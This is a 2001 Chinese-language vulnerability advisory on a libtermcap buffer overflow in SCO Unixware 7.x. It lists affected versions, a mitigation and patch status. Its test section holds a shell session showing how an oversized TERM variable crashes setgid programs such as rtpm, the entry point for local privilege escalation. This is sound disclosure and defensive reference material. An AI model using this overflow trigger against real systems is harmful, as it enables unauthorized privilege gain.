安全研究

安全漏洞
Unixware Libtermcap缓冲区溢出漏洞

发布日期:2001-06-12
更新日期:2001-06-22

受影响系统:

SCO Unixware 7.1.1
SCO Unixware 7.1
SCO Unixware 7.0.1
SCO Unixware 7.0
描述:

BUGTRAQ ID : 2866

Libtermcap是一个基本的系统库,支持对termcap数据库的简单访问,很多与终端无关
的基于字符的应用程序都会用到它。

Unixware平台下的Libtermcap存在一个缓冲区溢出漏洞,本地用户可能通过攻击链接到
libtermcam的setuid程序来提升权限。

<*来源:Aycan Irican (ars.prosoft.com.tr)*>


测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


Aycan Irican (ars.prosoft.com.tr)提供了下列测试代码:

$ uname -a
UnixWare paris 5 7.1.1 i386 x86at SCO UNIX_SVR5
(this is a two node NSC)

$ id
uid=101(fixxxer) gid=1(other)
$ ls -al /usr/sbin/rtpm
-r-xr-sr-x    1 bin      sys          288324 Mar 22 22:35 /usr/sbin/rtpm
$ export TERM=`perl -e 'printf "B"x4800'`
$ rtpm
Memory fault
$ bash
Memory fault(coredump)
$ vi
Memory fault(coredump)
$ ndcfg
Memory fault(coredump)
$ scoadmin
Fatal error: (vTcl interp) Connection closed unexpectedly - No Data
Error Information logged to: /tmp/tclerror.131977.log
$ more
Memory fault
$ man sendmail
/usr/bin/html2ascii: line 34: 132022: Memory fault
$ /usr/local/bin/less
Memory fault
$ /usr/local/bin/gdb rtpm
Memory fault


建议:

去掉所有使用libtermcap库的程序的suid/setgid属性。

厂商补丁:

目前厂商还没有提供补丁或者升级程序,但SCO说Unixware 8中将解决这些问题:
我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.sco.com/support/ftplists/index.html



浏览次数:3967
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障